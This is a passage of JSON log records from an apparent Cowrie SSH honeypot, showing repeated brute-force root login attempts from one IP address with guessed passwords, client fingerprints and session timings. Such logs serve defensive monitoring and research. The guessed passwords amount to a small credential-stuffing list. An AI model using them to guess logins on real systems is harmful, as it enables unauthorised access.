cha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:43:07.395624Z","src_ip":"60.165.124.241","session":"918796f65b32","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Sw123456","message":"login attempt [root/Sw123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:43:08.135485Z","src_ip":"60.165.124.241","session":"918796f65b32","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:43:09.394283Z","src_ip":"60.165.124.241","session":"918796f65b32","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":47606,"dst_ip":"10.17.0.5","dst_port":22,"session":"2b9a2b53e099","protocol":"ssh","message":"New connection: 60.165.124.241:47606 (10.17.0.5:22) [session: 2b9a2b53e099]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:43:09.665180Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:43:09.669385Z","src_ip":"60.165.124.241","session":"2b9a2b53e099","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:43:09.924434Z","src_ip":"60.165.124.241","session":"2b9a2b53e099","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"aa147258","message":"login attempt [root/aa147258] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:43:10.716442Z","src_ip":"60.165.124.241","session":"2b9a2b53e099","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:43:11.987415Z","src_ip":"60.165.124.241","session":"2b9a2b53e099","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":51014,"dst_ip":"10.17.0.5","dst_port":22,"session":"25915ee96699","protocol":"ssh","message":"New connection: 60.165.124.241:51014 (10.17.0.5:22) [session: 25915ee96699]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:43:12.233121Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:43:12.237621Z","src_ip":"60.165.124.241","session":"25915ee96699","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:43:12.481967Z","src_ip":"60.165.124.241","session":"25915ee96699","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"dell110*","message":"login attempt [root/dell110*] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:43:13.226046Z","src_ip":"60.165.124.241","session":"25915ee96699","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:43:14.486371Z","src_ip":"60.165.124.241","session":"25915ee96699","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":54040,"dst_ip":"10.17.0.5","dst_port":22,"session":"148409698764","protocol":"ssh","message":"New connection: 60.165.124.241:54040 (10.17.0.5:22) [session: 148409698764]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:43:14.727388Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:43:14.733154Z","src_ip":"60.165.124.241","session":"148409698764","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:43:14.981773Z","src_ip":"60.165.124.241","session":"148409698764","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"ggg","message":"login attempt [root/ggg] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:43:15.731652Z","src_ip":"60.165.124.241","session":"148409698764","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:43:16.987637Z","src_ip":"60.165.124.241","session":"148409698764","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":57008,"dst_ip":"10.17.0.5","dst_port":22,"session":"92eba8cedc21","protocol":"ssh","message":"New connection: 60.165.124.241:57008 (10.17.0.5:22) [session: 92eba8cedc21]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:43:17.236365Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:43:17.241346Z","src_ip":"60.165.124.241","session":"92eba8cedc21","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:43:17.487716Z","src_ip":"60.165.124.241","session":"92eba8cedc21","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Server.1234","message":"login attempt [root/Server.1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:43:18.213992Z","src_ip":"60.165.124.241","session":"92eba8cedc21","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:43:19.461270Z","src_ip":"60.165.124.241","session":"92eba8cedc21","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":60076,"dst_ip":"10.17.0.5","dst_port":22,"session":"0d69583ffcdf","protocol":"ssh","message":"New connection: 60.165.124.241:60076 (10.17.0.5:22) [session: 0d69583ffcdf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:43:19.734210Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:43:19.739493Z","src_ip":"60.165.124.241","session":"0d69583ffcdf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:43:19.999150Z","src_ip":"60.165.124.241","session":"0d69583ffcdf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123@qwer","message":"login attempt [root/123@qwer] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:43:20.801352Z","src_ip":"60.165.124.241","session":"0d69583ffcdf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:43:22.070146Z","src_ip":"60.165.124.241","session":"0d69583ffcdf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":34992,"dst_ip":"10.17.0.5","dst_port":22,"session":"64341175fdb7","protocol":"ssh","message":"New connection: 60.165.124.241:34992 (10.17.0.5:22) [session: 64341175fdb7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:43:22.333469Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:43:22.338089Z","src_ip":"60.165.124.241","session":"64341175fdb7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:43:22.595565Z","src_ip":"60.165.124.241","session":"64341175fdb7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"samba","message":"login attempt [root/samba] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:43:23.372578Z","src_ip":"60.165.124.241","session":"64341175fdb7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"65.49.1.196","src_port":24119,"dst_ip":"159.203.135.109","dst_port":22,"session":"7bc38678fd1f","protocol":"ssh","message":"New connection: 65.49.1.196:24119 (159.203.135.109:22) [session: 7bc38678fd1f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:43:23.559438Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:43:23.564428Z","src_ip":"65.49.1.196","session":"7bc38678fd1f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"7216c7c473918b4f83d1139b3c70dbf9","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,arcfour256,arcfour128,aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,arcfour256,arcfour128,aes128-cbc,3des-cbc,arcfour;hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss","ssh-ed25519","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","arcfour256","arcfour128","aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","arcfour256","arcfour128","aes128-cbc","3des-cbc","arcfour"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 7216c7c473918b4f83d1139b3c70dbf9","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:43:23.641900Z","src_ip":"65.49.1.196","session":"7bc38678fd1f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:43:24.644988Z","src_ip":"60.165.124.241","session":"64341175fdb7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":38198,"dst_ip":"10.17.0.5","dst_port":22,"session":"27abb71a1197","protocol":"ssh","message":"New connection: 60.165.124.241:38198 (10.17.0.5:22) [session: 27abb71a1197]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:43:24.865599Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:43:24.870333Z","src_ip":"60.165.124.241","session":"27abb71a1197","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:43:25.109740Z","src_ip":"60.165.124.241","session":"27abb71a1197","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"professor","message":"login attempt [root/professor] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:43:25.864581Z","src_ip":"60.165.124.241","session":"27abb71a1197","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:43:27.119058Z","src_ip":"60.165.124.241","session":"27abb71a1197","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":40832,"dst_ip":"10.17.0.5","dst_port":22,"session":"3d63ba06706c","protocol":"ssh","message":"New connection: 60.165.124.241:40832 (10.17.0.5:22) [session: 3d63ba06706c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:43:27.361184Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:43:27.364885Z","src_ip":"60.165.124.241","session":"3d63ba06706c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.0","message":"Connection lost after 4.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:43:27.561294Z","src_ip":"65.49.1.196","session":"7bc38678fd1f","protocol":"ssh"}
